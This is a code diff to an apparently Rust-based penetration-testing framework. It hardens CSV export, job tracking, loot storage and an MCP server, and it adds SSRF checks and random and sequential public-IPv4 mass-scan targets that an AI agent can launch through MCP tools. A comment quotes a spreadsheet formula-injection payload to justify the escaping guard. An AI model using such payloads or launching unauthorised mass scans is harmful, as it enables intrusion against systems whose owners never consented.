if let Some(path) = trimmed.strip_prefix('@') {
if let Ok(extra) = read_exclusion_file(PathBuf::from(path.trim())) {
set.nets.extend(extra.nets);
let path = path.trim();
match read_exclusion_file(PathBuf::from(path)) {
Ok(extra) => set.nets.extend(extra.nets),
// Fail LOUD: an operator who pointed at a file expects their
// custom exclusions applied. Silently falling back to defaults
// would scan ranges they meant to exclude.
Err(e) => tracing::warn!(
"exclusions: could not read '{}': {e}. Custom exclusions NOT applied — using defaults only.",
path
),
}
} else {
set.nets.extend(
trimmed
.split(',')
.map(str::trim)
.filter(|s| !s.is_empty())
.filter_map(|s| s.parse::<IpNetwork>().ok()),
);
for s in trimmed.split(',').map(str::trim).filter(|s| !s.is_empty()) {
match s.parse::<IpNetwork>() {
Ok(net) => set.nets.push(net),
Err(e) => tracing::warn!("exclusions: ignoring invalid CIDR '{}': {e}", s),
}
}
}
set
}
+12 -6
View File
@@ -9,10 +9,14 @@ fn safe_write(path: &str, data: &[u8]) -> Result<()> {
#[cfg(unix)]
{
use std::os::unix::fs::OpenOptionsExt;
// Owner-only (0o600): the export aggregates every credential secret in
// cleartext plus hosts/loot, so it must never be created world-readable
// — matching the cred/loot/workspace stores which all write 0o600.
let mut file = std::fs::OpenOptions::new()
.write(true)
.create(true)
.truncate(true)
.mode(0o600)
.custom_flags(libc::O_NOFOLLOW)
.open(path)
.context(format!("Failed to open '{}' (symlinks not allowed)", path))?;
@@ -196,12 +200,14 @@ pub async fn export_summary(path: &str) -> Result<()> {
fn csv_escape(s: &str) -> String {
let mut val = s.to_string();
let needs_formula_guard = val.starts_with('=')
|| val.starts_with('+')
|| val.starts_with('@')
|| val.starts_with('-')
|| val.starts_with('\t')
|| val.starts_with('\r');
// Spreadsheets trim leading whitespace before evaluating a cell, so check
// the first *non-whitespace* char — otherwise " =cmd|'/c calc'!A1" (note
// the leading space) slips past a naive `starts_with('=')` guard.
let needs_formula_guard = val
.trim_start()
.chars()
.next()
.is_some_and(|c| matches!(c, '=' | '+' | '@' | '-' | '\t' | '\r'));
if needs_formula_guard {
val = format!("'{}", val);
}
+149
View File
@@ -171,6 +171,36 @@ impl JobManager {
self.max_running.store(clamped, Ordering::Relaxed);
}
/// Record a terminal status written back by the spawned task itself, so a
/// crashed/errored job is never later misreported as "Completed" by the
/// `is_finished()` fallback in `list()`/`get_detail()`. Only transitions a
/// job that is still `Running` (a `kill()` that already set `Cancelled`
/// must win), and stamps `finished_at` for retention.
fn record_terminal(&self, id: u32, status: JobStatus) {
let mut jobs = self.jobs.write().unwrap_or_else(|e| e.into_inner());
if let Some(job) = jobs.get_mut(&id) {
if matches!(job.status, JobStatus::Running) {
job.status = status;
}
if job.finished_at.is_none() {
job.finished_at = Some(std::time::Instant::now());
}
}
}
/// Mark a background job as successfully completed. Called by the spawned
/// task on a clean `Ok` result so the durable record reflects success.
pub fn mark_completed(&self, id: u32) {
self.record_terminal(id, JobStatus::Completed);
}
/// Mark a background job as failed and persist the failure reason into the
/// durable `Job` record (not just the bounded progress buffer / transient
/// broadcast event). Called by the spawned task on an `Err`/panic result.
pub fn mark_failed(&self, id: u32, msg: String) {
self.record_terminal(id, JobStatus::Failed(msg));
}
pub fn spawn(
&self,
module: String,
@@ -226,6 +256,20 @@ impl JobManager {
let evt_target = target.clone();
let event_tx = self.event_tx.clone();
// `tokio::spawn` does NOT inherit the `CURRENT_TENANT` task-local, so a
// background job would otherwise run against the process-global stores
// and leak findings across tenants / into shell mode. Capture the
// requesting tenant here (where the scope is still active) and
// re-establish it inside the spawned task. Fall back to the
// RunContext-scoped tenant (the same precedence `tenant::resolve` uses),
// so a job spawned from module execution — where the tenant is set via
// RunContext rather than the CURRENT_TENANT task-local — still binds to
// the correct tenant instead of leaking into the process-global stores.
let tenant_for_task = crate::tenant::CURRENT_TENANT
.try_with(|t| t.clone())
.ok()
.or_else(crate::context::current_tenant_id);
let handle = tokio::spawn(async move {
let mut rx = cancel_rx;
prog_clone.push_line(format!("[*] Starting {} against {}", mod_clone, tgt_clone));
@@ -254,6 +298,66 @@ impl JobManager {
})
.catch_unwind()
};
// Keep a copy of the tenant id for the terminal-status updates below:
// they run OUTSIDE the CURRENT_TENANT scope (only `run_fut` is
// scoped), and a tenant job is registered in that tenant's own
// JobManager, not the global one — so the terminal transition must be
// applied to the same per-tenant manager (resolved via this id),
// otherwise the job is stuck reporting Running and never records
// Completed/Failed/Cancelled.
let tenant_for_status = tenant_for_task.clone();
// Re-establish the tenant context dropped by `tokio::spawn` so the
// module's loot/hosts/findings and cfg_prompt lookups resolve to the
// requesting tenant's stores (or stay global when spawned from CLI).
let run_fut = async move {
match tenant_for_task {
Some(tid) => crate::tenant::CURRENT_TENANT.scope(tid, run_fut).await,
None => run_fut.await,
}
};
// Capture the module's console output. A background job has no
// foreground OUTPUT_BUFFER, so without this the module's mprintln!
// output would hit the server's real stdout and be lost — API
// clients polling get_output() would only ever see the framing
// lines. Scope a buffer around the run and stream it into the job's
// progress log via a periodic drainer (+ a final flush).
let job_buf = crate::output::OutputBuffer::new();
let run_fut = {
let buf = job_buf.clone();
async move { crate::output::OUTPUT_BUFFER.scope(buf, run_fut).await }
};
// Scan counters: the scheduler fills these with real per-target
// total/succeeded/failed so get_detail reports live progress instead
// of the previously always-zero counters.
let scan_counters = std::sync::Arc::new(crate::context::ScanCounters::default());
let run_fut = {
let c = scan_counters.clone();
async move { crate::context::SCAN_COUNTERS.scope(c, run_fut).await }
};
let (stop_tx, mut stop_rx) = watch::channel(false);
let drainer = {
let buf = job_buf.clone();
let prog = prog_clone.clone();
let counters = scan_counters.clone();
tokio::spawn(async move {
use std::sync::atomic::Ordering::Relaxed;
loop {
let stop = tokio::select! {
_ = tokio::time::sleep(std::time::Duration::from_millis(400)) => false,
_ = stop_rx.changed() => true,
};
let chunk = buf.drain_stdout();
for line in chunk.lines() {
prog.push_line(line.to_string());
}
// Mirror the scheduler's live scan counters into the job.
prog.total_targets.store(counters.total.load(Relaxed), Relaxed);
prog.success_count.store(counters.succeeded.load(Relaxed), Relaxed);
prog.fail_count.store(counters.failed.load(Relaxed), Relaxed);
if stop { break; }
}
})
};
tokio::select! {
result = run_fut => {
let result = match result {
@@ -271,6 +375,17 @@ impl JobManager {
};
match result {
Ok(_) => {
// Persist the terminal status into the durable Job
// record so a finished job is reported as Completed
// explicitly rather than via the is_finished()
// fallback (which can't distinguish success/failure).
match &tenant_for_status {
Some(tid) => match crate::tenant::resolve_for(tid) {
Ok(s) => s.job_manager().mark_completed(id),
Err(e) => tracing::warn!("job {}: could not resolve tenant '{}' to record completion: {}", id, tid, e),
},
None => JOB_MANAGER.mark_completed(id),
}
prog_clone.push_line(format!("[+] Completed: {} against {}", mod_clone, tgt_clone));
crate::mprintln!("\n{}", format!("[*] Job completed: {} against {}", mod_clone, tgt_clone).green());
if let Err(e) = event_tx.send(JobEvent::Completed { id }) {
@@ -279,6 +394,16 @@ impl JobManager {
}
Err(e) => {
let msg = e.to_string();
// Persist the failure reason into the durable Job
// record so operators polling list()/get_detail()
// see Failed(msg), not a misleading "Completed".
match &tenant_for_status {
Some(tid) => match crate::tenant::resolve_for(tid) {
Ok(s) => s.job_manager().mark_failed(id, msg.clone()),
Err(e) => tracing::warn!("job {}: could not resolve tenant '{}' to record failure: {}", id, tid, e),
},
None => JOB_MANAGER.mark_failed(id, msg.clone()),
}
prog_clone.push_line(format!("[-] Failed: {} - {}", mod_clone, msg));
crate::meprintln!("\n{}", format!("[!] Job failed: {} - {}", mod_clone, msg).red());
if let Err(e) = event_tx.send(JobEvent::Failed { id, error: msg }) {
@@ -288,6 +413,16 @@ impl JobManager {
}
}
_ = async { while rx.changed().await.is_ok() { if *rx.borrow() { break; } } } => {
// kill() already set status = Cancelled under the write lock;
// record_terminal() won't overwrite it. This is a no-op for
// status but ensures finished_at is stamped if kill() raced.
match &tenant_for_status {
Some(tid) => match crate::tenant::resolve_for(tid) {
Ok(s) => s.job_manager().record_terminal(id, JobStatus::Cancelled),
Err(e) => tracing::warn!("job {}: could not resolve tenant '{}' to record cancellation: {}", id, tid, e),
},
None => JOB_MANAGER.record_terminal(id, JobStatus::Cancelled),
}
prog_clone.push_line(format!("[!] Cancelled: {}", mod_clone));
crate::mprintln!("\n{}", format!("[*] Job cancelled: {}", mod_clone).yellow());
if let Err(e) = event_tx.send(JobEvent::Cancelled { id }) {
@@ -295,6 +430,14 @@ impl JobManager {
}
}
}
// Stop the output drainer and flush any remaining captured output so
// the final lines of the run are visible in get_output().
if let Err(e) = stop_tx.send(true) {
tracing::debug!("job output drainer stop signal failed: {e}");
}
if let Err(e) = drainer.await {
tracing::debug!("job output drainer join failed: {e}");
}
});
jobs.insert(id, Job {
@@ -369,6 +512,10 @@ impl JobManager {
let mut jobs = self.jobs.write().unwrap_or_else(|e| e.into_inner());
let now = std::time::Instant::now();
for job in jobs.values_mut() {
// Fallback only: a finished handle whose task never recorded a
// terminal status (e.g. hard-aborted before mark_*). Never
// overwrites a recorded Completed/Failed/Cancelled — the task
// (mark_completed/mark_failed) and kill() (Cancelled) own those.
if let Some(ref handle) = job.handle
&& handle.is_finished() && matches!(job.status, JobStatus::Running) {
job.status = JobStatus::Completed;
@@ -404,6 +551,8 @@ impl JobManager {
pub fn get_detail(&self, id: u32) -> Option<(String, String, String, String, Arc<JobProgress>)> {
let mut jobs = self.jobs.write().unwrap_or_else(|e| e.into_inner());
let job = jobs.get_mut(&id)?;
// Fallback only: a finished handle whose task never recorded a terminal
// status. Never overwrites a recorded Completed/Failed/Cancelled.
if let Some(ref handle) = job.handle
&& handle.is_finished() && matches!(job.status, JobStatus::Running) {
job.status = JobStatus::Completed;
+22 -4
View File
@@ -157,18 +157,36 @@ impl LootStore {
}
let entry = LootEntry {
// Scrub host + source_module too (not just loot_type/description):
// both are printed raw by `loot` and could carry terminal-escape
// bytes from an attacker-controlled banner / module string.
id: id.clone(),
host: host.to_string(),
loot_type: loot_type.to_string(),
host: crate::utils::scrub_stored_text(host),
loot_type: crate::utils::scrub_stored_text(loot_type),
filename,
description: description.to_string(),
source_module: source_module.to_string(),
description: crate::utils::scrub_stored_text(description),
source_module: crate::utils::scrub_stored_text(source_module),
timestamp: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
};
// P1-1: hold the write lock across the disk save.
{
let mut entries = self.entries.write().await;
// Re-check the cap under the write lock. The earlier read-lock check
// is only a fast path: concurrent `add`s can each pass it and then
// all push, blowing past the cap. Re-checking here also handles the
// file we already wrote above — remove it so a rejected add doesn't
// leave an orphan loot file on disk.
if entries.len() >= Self::MAX_LOOT_ENTRIES {
eprintln!(
"[!] Loot store full ({} entries) — discarding just-written loot file",
Self::MAX_LOOT_ENTRIES
);
if let Err(e) = tokio::fs::remove_file(&file_path).await {
tracing::debug!("failed to remove orphan loot file {}: {e}", file_path.display());
}
return None;
}
entries.push(entry);
let snapshot = entries.clone();
self.save_locked(&snapshot).await;
+21 -6
View File
@@ -2,7 +2,7 @@ use std::process::Stdio;
use anyhow::{Context, Result};
use serde_json::{json, Value};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
use tokio::io::{AsyncBufReadExt, AsyncReadExt, AsyncWriteExt, BufReader};
use tokio::process::{Child, ChildStdin, ChildStdout, Command};
/// MCP client that communicates with an external MCP server over stdio JSON-RPC.
@@ -178,18 +178,33 @@ async fn send_request(
// Read response lines until we get one with a matching id.
// Servers may emit notifications (no id) interleaved with responses.
let mut buf = String::new();
// Bounded read: a malicious/buggy MCP server could otherwise stream an
// unterminated multi-GB line and force the client to buffer it all into
// memory (OOM). Cap each line like the server side does, and surface
// non-UTF-8 instead of lossy-decoding it.
const MAX_RESP_BYTES: usize = 16 * 1024 * 1024;
let mut raw: Vec<u8> = Vec::new();
loop {
buf.clear();
let n = stdout
.read_line(&mut buf)
raw.clear();
let n = (&mut *stdout)
.take(MAX_RESP_BYTES as u64 + 1)
.read_until(b'\n', &mut raw)
.await
.context("Failed to read from child stdout")?;
if n == 0 {
anyhow::bail!("MCP server closed stdout before responding to request {}", id);
}
if raw.len() > MAX_RESP_BYTES {
anyhow::bail!(
"MCP server response exceeded {} byte line limit",
MAX_RESP_BYTES
);
}
let trimmed = buf.trim();
let trimmed = match std::str::from_utf8(&raw) {
Ok(s) => s.trim(),
Err(e) => anyhow::bail!("MCP server sent a non-UTF-8 response: {e}"),
};
if trimmed.is_empty() {
continue;
}
+41 -1
View File
@@ -227,13 +227,53 @@ fn handle_tools_list(id: Option<Value>) -> JsonRpcResponse {
}
}
/// Per-tool-call execution budget. A single hung/slow tool must not be able to
/// wedge the server's stdin read loop forever, so `tools/call` dispatch is
/// bounded by this timeout and returns a JSON-RPC error on expiry. Override via
/// the `RUSTSPLOIT_MCP_TIMEOUT_SECS` env var (0 disables the cap).
fn module_timeout() -> Option<std::time::Duration> {
match std::env::var("RUSTSPLOIT_MCP_TIMEOUT_SECS") {
Ok(v) => match v.trim().parse::<u64>() {
Ok(0) => None,
Ok(secs) => Some(std::time::Duration::from_secs(secs)),
// Unparseable override falls back to the default rather than panicking.
Err(_) => Some(std::time::Duration::from_secs(300)),
},
Err(_) => Some(std::time::Duration::from_secs(300)),
}
}
async fn handle_tools_call(id: Option<Value>, params: Option<Value>) -> JsonRpcResponse {
let (name, arguments) = match extract_tool_call_params(&params) {
Ok(pair) => pair,
Err(msg) => return JsonRpcResponse::error(id, -32602, msg),
};
let result = super::tools::call_tool(&name, arguments).await;
// Bound the tool execution so a single hung tool cannot block the read loop
// indefinitely. On expiry, surface a JSON-RPC error instead of hanging.
let result = match module_timeout() {
Some(dur) => match tokio::time::timeout(dur, super::tools::call_tool(&name, arguments)).await
{
Ok(r) => r,
Err(_) => {
eprintln!(
"[MCP] tool '{}' exceeded {}s timeout — aborting call",
name,
dur.as_secs()
);
return JsonRpcResponse::error(
id,
-32000,
format!(
"Tool '{}' timed out after {} seconds",
name,
dur.as_secs()
),
);
}
},
None => super::tools::call_tool(&name, arguments).await,
};
match serde_json::to_value(&result) {
Ok(v) => JsonRpcResponse::success(id, v),
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
+130 -41
View File
@@ -48,18 +48,6 @@ fn build_tool_definitions() -> Vec<Tool> {
"required": ["module_path"]
}),
},
Tool {
name: "check_module".into(),
description: "Run a non-destructive vulnerability check against a target".into(),
input_schema: json!({
"type": "object",
"properties": {
"module_path": { "type": "string", "description": "Full module path" },
"target": { "type": "string", "description": "Target IP, hostname, or CIDR" }
},
"required": ["module_path", "target"]
}),
},
// ── Target tools ──────────────────────────────────────────────
Tool {
name: "set_target".into(),
@@ -85,14 +73,15 @@ fn build_tool_definitions() -> Vec<Tool> {
// ── Execution ─────────────────────────────────────────────────
Tool {
name: "run_module".into(),
description: "Execute a module against a target, returning captured output".into(),
description: "Execute a module against a target, returning captured output. For mass scans (CIDR / `random` / comma-separated lists) set background:true to run as a job and return immediately (avoids the tool-call timeout); poll list_jobs and read hosts/loot/creds for results.".into(),
input_schema: json!({
"type": "object",
"properties": {
"module_path": { "type": "string", "description": "Full module path" },
"target": { "type": "string", "description": "Target IP, hostname, or CIDR" },
"target": { "type": "string", "description": "Target IP, hostname, CIDR, comma-list, or 'random'" },
"port": { "type": "integer", "description": "Optional port override" },
"verbose": { "type": "boolean", "description": "Enable verbose output" },
"background": { "type": "boolean", "description": "Run as a background job and return a job_id immediately (recommended for mass scans)" },
"prompts": {
"type": "object",
"description": "Key-value prompt overrides (e.g. {\"port\": \"8080\", \"timeout\": \"5\"})",
@@ -333,7 +322,6 @@ pub async fn call_tool(name: &str, args: Value) -> ToolResult {
"list_modules" => handle_list_modules(&args),
"search_modules" => handle_search_modules(&args),
"module_info" => handle_module_info(&args),
"check_module" => handle_check_module(&args).await,
// ── Target tools ──────────────────────────────────────────
"set_target" => handle_set_target(&args).await,
@@ -427,6 +415,86 @@ fn prompts_param(args: &Value) -> HashMap<String, String> {
map
}
/// Reduce an attacker-supplied prompt value to a bare host suitable for the
/// SSRF block-check chain (`is_blocked_target` / `ssrf_gate`), which expect an
/// IP/hostname rather than a full URL. Returns None when the value can't yield
/// a host to check.
fn extract_ssrf_candidate(raw: &str) -> Option<String> {
let val = raw.trim();
if val.is_empty() {
return None;
}
// Strip a scheme (e.g. http://, https://, ftp://, gopher://) if present.
let after_scheme = match val.find("://") {
Some(idx) => &val[idx + 3..],
None => val,
};
// Strip any userinfo (user:pass@host).
let after_userinfo = match after_scheme.rsplit_once('@') {
Some((_, host_part)) => host_part,
None => after_scheme,
};
// Cut off path / query / fragment.
let authority = after_userinfo
.split(['/', '?', '#'])
.next()
.unwrap_or(after_userinfo);
// Strip a trailing :port. Handle bracketed IPv6 literals separately.
let host = if let Some(stripped) = authority.strip_prefix('[') {
// [ipv6]:port or [ipv6]
stripped.split(']').next().unwrap_or(stripped)
} else if authority.matches(':').count() > 1 {
// Bare IPv6 literal (e.g. `::1`, `fe80::1`) — there is no port to strip;
// keep the whole authority. Without this, `rsplit_once(':')` on `::1`
// yields host `":"`, which sails past the loopback/link-local SSRF
// filters (mirrors the single-colon guard in api::is_blocked_target).
authority
} else if let Some((h, _port)) = authority.rsplit_once(':') {
// Only treat the suffix as a port if it is all digits; otherwise the
// colon is part of the host (shouldn't happen for unbracketed) — keep
// the whole authority.
let port_part = &authority[h.len() + 1..];
if !port_part.is_empty() && port_part.chars().all(|c| c.is_ascii_digit()) {
h
} else {
authority
}
} else {
authority
};
let host = host.trim();
if host.is_empty() {
None
} else {
Some(host.to_string())
}
}
/// Heuristic: does this prompt value look like a URL or a host:port pair?
/// Used so we only apply the SSRF check to non-destination keys when the value
/// is plausibly a network destination, avoiding false rejection of unrelated
/// string options.
fn looks_like_url_or_hostport(raw: &str) -> bool {
let val = raw.trim();
if val.is_empty() {
return false;
}
if val.contains("://") {
return true;
}
// host:port form (e.g. 169.254.169.254:80) — digits after the last colon.
if let Some((host, port)) = val.rsplit_once(':') {
if !host.is_empty()
&& !port.is_empty()
&& port.chars().all(|c| c.is_ascii_digit())
&& !host.contains(' ')
{
return true;
}
}
false
}
// ===========================================================================
// Individual tool handlers
// ===========================================================================
@@ -466,27 +534,6 @@ fn handle_module_info(args: &Value) -> ToolResult {
}
}
async fn handle_check_module(args: &Value) -> ToolResult {
let path = require_str!(args, "module_path");
let target = require_str!(args, "target");
if !crate::api::validate_module_name(path) {
return ToolResult::error("Invalid module name".into());
}
if !crate::api::validate_target(target) {
return ToolResult::error("Invalid target format".into());
}
if crate::api::is_blocked_target(target) {
return ToolResult::error("Target matches blocked address range".into());
}
if crate::api::is_blocked_target_resolved(target).await {
return ToolResult::error("Target resolves to a blocked metadata/link-local address".into());
}
match crate::commands::check_module(path, target).await {
Some(result) => ToolResult::json(&result),
None => ToolResult::error(format!("Module '{}' does not support check", path)),
}
}
// ── Target tools ──────────────────────────────────────────────────────────
async fn handle_set_target(args: &Value) -> ToolResult {
@@ -497,8 +544,8 @@ async fn handle_set_target(args: &Value) -> ToolResult {
if crate::api::is_blocked_target(target) {
return ToolResult::error("Target matches blocked address range".into());
}
if crate::api::is_blocked_target_resolved(target).await {
return ToolResult::error("Target resolves to blocked address".into());
if let Err((code, msg)) = crate::api::ssrf_gate(target).await {
return ToolResult::error(format!("[{}] {}", code, msg));
}
match crate::config::GLOBAL_CONFIG.set_target(target) {
Ok(()) => ToolResult::text(format!("Target set to: {}", target)),
@@ -538,8 +585,8 @@ async fn handle_run_module(args: &Value) -> ToolResult {
if crate::api::is_blocked_target(&target) {
return ToolResult::error("Target matches blocked address range".into());
}
if crate::api::is_blocked_target_resolved(&target).await {
return ToolResult::error("Target resolves to a blocked metadata/link-local address".into());
if let Err((code, msg)) = crate::api::ssrf_gate(&target).await {
return ToolResult::error(format!("[{}] {}", code, msg));
}
if !crate::commands::discover_modules().contains(&module_path) {
@@ -554,11 +601,52 @@ async fn handle_run_module(args: &Value) -> ToolResult {
// Strip "target" from prompts to prevent SSRF bypass via prompt injection
prompts.remove("target");
// SSRF guard: many modules read their actual connection destination from a
// prompt key other than `target` (e.g. url/host/endpoint/lhost). Run the
// same block-check chain we applied to `target` over every prompt value that
// looks like a URL or host so a benign `target` can't be used to smuggle a
// blocked metadata/link-local/loopback destination past the filter.
for (key, raw) in prompts.iter() {
let lkey = key.to_ascii_lowercase();
let is_dest_key = matches!(lkey.as_str(), "url" | "host" | "endpoint" | "lhost" | "rhost" | "remote_host" | "target_url" | "uri");
if let Some(candidate) = extract_ssrf_candidate(raw) {
// Always check explicit destination keys; for other keys only check
// values that actually parse as a URL or host:port to avoid false
// rejections of unrelated string options.
if is_dest_key || looks_like_url_or_hostport(raw) {
if crate::api::is_blocked_target(&candidate) {
return ToolResult::error(format!(
"Prompt '{}' targets a blocked address range",
key
));
}
if let Err((code, msg)) = crate::api::ssrf_gate(&candidate).await {
return ToolResult::error(format!("Prompt '{}' [{}]: {}", key, code, msg));
}
}
}
}
let module_config = crate::config::ModuleConfig {
api_mode: true,
custom_prompts: prompts,
};
// Background mode: spawn a job and return immediately. Essential for mass
// scans (CIDR / random / lists) whose fan-out can run far longer than the
// MCP tool-call timeout — running them inline would be cut off mid-scan.
if bool_param(args, "background").unwrap_or(false) {
let s = crate::tenant::resolve();
return match s.job_manager().spawn(module_path.clone(), target.clone(), verbose, Some(module_config)) {
Ok((job_id, _progress)) => ToolResult::json(&serde_json::json!({
"job_id": job_id,
"status": "started",
"note": "poll list_jobs for status; results land in hosts/loot/creds",
})),
Err(e) => ToolResult::error(format!("Failed to start job: {e}")),
};
}
let output_buf = crate::output::OutputBuffer::new();
let buf_clone = output_buf.clone();
@@ -735,7 +823,8 @@ async fn handle_delete_service(args: &Value) -> ToolResult {
Some(v) => v,
None => return ToolResult::error("Missing required parameter: port".into()),
};
if crate::workspace::WORKSPACE.delete_service(host, port).await {
let protocol = args.get("protocol").and_then(|v| v.as_str());
if crate::workspace::WORKSPACE.delete_service(host, port, protocol).await {
ToolResult::text(format!("Service {}:{} deleted", host, port))
} else {
ToolResult::error(format!("Service {}:{} not found", host, port))
+64 -139
View File
@@ -11,7 +11,7 @@ use std::sync::Arc;
use anyhow::Result;
use async_trait::async_trait;
use crate::module_info::{CheckResult, ModuleInfo};
use crate::module_info::ModuleInfo;
// ============================================================
// CATEGORY
@@ -73,8 +73,14 @@ pub enum Target {
File(PathBuf),
/// Random public-internet scan.
Random,
/// Sequential public-internet sweep starting at the given IPv4 (as a u32),
/// running in order up to the last public address.
Sequential(u32),
}
/// First public IPv4 address (`1.0.0.0`) — `0.0.0.0/8` is reserved.
pub const FIRST_PUBLIC_IPV4: u32 = 0x0100_0000;
impl Target {
/// Parse a raw user-supplied string into a `Target`. Delegates host/port
/// validation to `crate::utils::normalize_target` and reuses
@@ -85,12 +91,30 @@ impl Target {
if trimmed.is_empty() {
anyhow::bail!("Target cannot be empty");
}
// `Target::Random` is reserved for the explicit random / 0.0.0.0
// mass-scan markers. CIDR ranges and file paths are handled below
// as `Cidr` / `File` so the scheduler can iterate them correctly.
if trimmed == "random" || trimmed == "0.0.0.0" || trimmed == "0.0.0.0/0" {
// `Target::Random` is reserved for the explicit mass-scan markers
// `random` and `0.0.0.0/0`. Bare `0.0.0.0` is NOT a mass-scan keyword
// (M45): it resolves to a normal single host so `t 0.0.0.0` does not
// silently launch a full-internet random scan. CIDR ranges and file
// paths are handled below as `Cidr` / `File`.
if trimmed == "random" || trimmed == "0.0.0.0/0" {
return Ok(Target::Random);
}
// Sequential full-public-IPv4 sweep: `seq`/`sequential` start at the
// first public address; `seq:<ip>`/`sequential:<ip>` start at <ip>.
let lower = trimmed.to_ascii_lowercase();
if lower == "seq" || lower == "sequential" {
return Ok(Target::Sequential(FIRST_PUBLIC_IPV4));
}
if let Some(rest) = lower
.strip_prefix("seq:")
.or_else(|| lower.strip_prefix("sequential:"))
{
let ip: std::net::Ipv4Addr = rest
.trim()
.parse()
.map_err(|e| anyhow::anyhow!("invalid sequential start IP '{}': {e}", rest.trim()))?;
return Ok(Target::Sequential(u32::from(ip)));
}
if trimmed.contains(',') {
const MAX: usize = 4096;
let parts: Vec<&str> = trimmed
@@ -127,7 +151,11 @@ impl Target {
pub fn is_mass(&self) -> bool {
matches!(
self,
Target::Cidr(_) | Target::Multi(_) | Target::File(_) | Target::Random
Target::Cidr(_)
| Target::Multi(_)
| Target::File(_)
| Target::Random
| Target::Sequential(_)
)
}
@@ -140,7 +168,7 @@ impl Target {
}
/// Render back into the canonical string form modules expect.
/// `Multi` joins with `, `; `Random` becomes `"0.0.0.0"`; `File` becomes
/// `Multi` joins with `, `; `Random` becomes `"random"`; `File` becomes
/// the file path. This is the value passed into legacy `run(&str)` shims.
pub fn as_legacy_str(&self) -> String {
match self {
@@ -151,7 +179,10 @@ impl Target {
.collect::<Vec<_>>()
.join(", "),
Target::File(p) => p.to_string_lossy().into_owned(),
Target::Random => "0.0.0.0".to_string(),
Target::Random => "random".to_string(),
Target::Sequential(start) => {
format!("seq:{}", std::net::Ipv4Addr::from(*start))
}
}
}
}
@@ -223,6 +254,9 @@ pub struct Capabilities {
pub check_only: bool,
/// Module makes outbound network connections.
pub network: bool,
/// Module runs an interactive / long-lived session and manages its own
/// lifetime — the scheduler must NOT wrap it in the per-target timeout.
pub interactive: bool,
}
impl Default for Capabilities {
@@ -232,6 +266,7 @@ impl Default for Capabilities {
requires_root: false,
check_only: false,
network: true,
interactive: false,
}
}
}
@@ -364,6 +399,7 @@ impl ModuleCtx {
};
rc = rc.with_cancellation(self.cancel.clone());
rc.tenant_id = self.tenant_id.clone();
rc.module_path = self.module_path.clone();
rc
}
}
@@ -383,19 +419,6 @@ pub trait Module: Send + Sync {
Capabilities::default()
}
/// True if the module implements a non-destructive `check()`. Used by
/// the UI to decide whether to expose a "check" button. The
/// `register_native_module!` macro sets this from the optional
/// `has_check` token in the registration call.
fn has_check(&self) -> bool {
true
}
/// Optional non-destructive vulnerability check.
async fn check(&self, _ctx: &ModuleCtx) -> Option<CheckResult> {
None
}
/// Pre-flight validation, run by the scheduler **once** per CLI/API
/// invocation, *before* any per-host fan-out.
///
@@ -519,14 +542,9 @@ pub fn render_catalog_markdown() -> String {
for cat in ["scanners", "exploits", "creds", "osint", "plugins"] {
let Some(entries) = by_cat.get(cat) else { continue };
out.push_str(&format!("## {} ({})\n\n", cat, entries.len()));
let with_check = entries.iter().filter(|e| (e.factory)().has_check()).count();
out.push_str(&format!(
"- {} modules, {} with `check()`\n\n",
entries.len(),
with_check,
));
out.push_str("| Module | Description | Rank | Check |\n");
out.push_str("|---|---|---|---|\n");
out.push_str(&format!("- {} modules\n\n", entries.len()));
out.push_str("| Module | Description | Rank |\n");
out.push_str("|---|---|---|\n");
for e in entries {
let inst = (e.factory)();
let info = inst.info();
@@ -537,12 +555,11 @@ pub fn render_catalog_markdown() -> String {
.unwrap_or("")
.replace('|', "\\|");
out.push_str(&format!(
"| `{}/{}` | {} | {} | {} |\n",
"| `{}/{}` | {} | {} |\n",
e.category.as_str(),
e.name,
desc,
info.rank,
if inst.has_check() { "" } else { "" },
));
}
out.push('\n');
@@ -555,19 +572,17 @@ pub fn render_catalog_markdown() -> String {
// ============================================================
/// Generate a per-module `Module` impl + inventory registration that calls
/// the module file's local `pub fn info()`, `pub async fn run(...)`, and
/// optional `pub async fn check(...)`. Used at the bottom of every module
/// file.
/// the module file's local `pub fn info()` and `pub async fn run(...)`. Used
/// at the bottom of every module file.
///
/// Two body shapes are supported, picked via the trailing `native` token:
///
/// **Legacy shape (default — most existing modules):**
/// ```ignore
/// pub fn info() -> ModuleInfo { ... }
/// pub async fn check(target: &str) -> CheckResult { ... } // optional
/// pub async fn run(target: &str) -> anyhow::Result<()> { ... }
///
/// crate::register_native_module!(crate::module::Category::Scanners, "x", has_check);
/// crate::register_native_module!(crate::module::Category::Scanners, "x");
/// ```
/// The macro translates `ctx.target → target_str` and discards return values
/// into `ModuleOutcome::ok()`. No findings flow into the scheduler.
@@ -575,10 +590,9 @@ pub fn render_catalog_markdown() -> String {
/// **Native shape (preferred for new modules and migrations):**
/// ```ignore
/// pub fn info() -> ModuleInfo { ... }
/// pub async fn check(ctx: &ModuleCtx) -> CheckResult { ... } // optional
/// pub async fn run(ctx: &ModuleCtx) -> anyhow::Result<ModuleOutcome> { ... }
///
/// crate::register_native_module!(crate::module::Category::Scanners, "x", native, has_check);
/// crate::register_native_module!(crate::module::Category::Scanners, "x", native);
/// ```
/// The module receives `&ModuleCtx` directly and returns `ModuleOutcome`
/// with `Finding` records. The scheduler routes findings into LootStore /
@@ -591,14 +605,13 @@ macro_rules! register_native_module {
($category:expr, $name:expr) => {
$crate::__register_native_module_impl!(@no_check $category, $name);
};
($category:expr, $name:expr, has_check) => {
$crate::__register_native_module_impl!(@with_check $category, $name);
};
($category:expr, $name:expr, native) => {
$crate::__register_native_module_impl!(@native $category, $name);
$crate::__register_native_module_impl!(@native $category, $name, false);
};
($category:expr, $name:expr, native, has_check) => {
$crate::__register_native_module_impl!(@native_with_check $category, $name);
// Interactive native module: the scheduler runs it without the per-target
// timeout (it owns its own REPL / long-lived session lifetime).
($category:expr, $name:expr, native, interactive) => {
$crate::__register_native_module_impl!(@native $category, $name, true);
};
}
@@ -614,7 +627,6 @@ macro_rules! __register_native_module_impl {
#[::async_trait::async_trait]
impl $crate::module::Module for __ModuleImpl {
fn info(&self) -> $crate::module_info::ModuleInfo { info() }
fn has_check(&self) -> bool { false }
async fn run(&self, ctx: &$crate::module::ModuleCtx)
-> ::anyhow::Result<$crate::module::ModuleOutcome>
{
@@ -640,7 +652,8 @@ macro_rules! __register_native_module_impl {
}
}
};
(@with_check $category:expr, $name:expr) => {
